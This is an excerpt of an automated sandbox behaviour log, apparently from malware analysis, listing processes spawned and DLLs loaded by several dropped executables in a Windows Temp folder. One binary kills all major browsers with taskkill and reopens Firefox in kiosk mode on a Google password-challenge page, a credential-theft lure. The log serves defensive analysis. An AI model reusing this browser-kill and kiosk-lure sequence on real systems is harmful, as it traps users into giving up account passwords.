Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=912 -parentBuildID 20230927232528 -prefsHandle 2792 -prefMapHandle 3796 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {900b7ccc-f93b-4c39-acf6-c4309c8be80c} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae0b544510 rdd
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
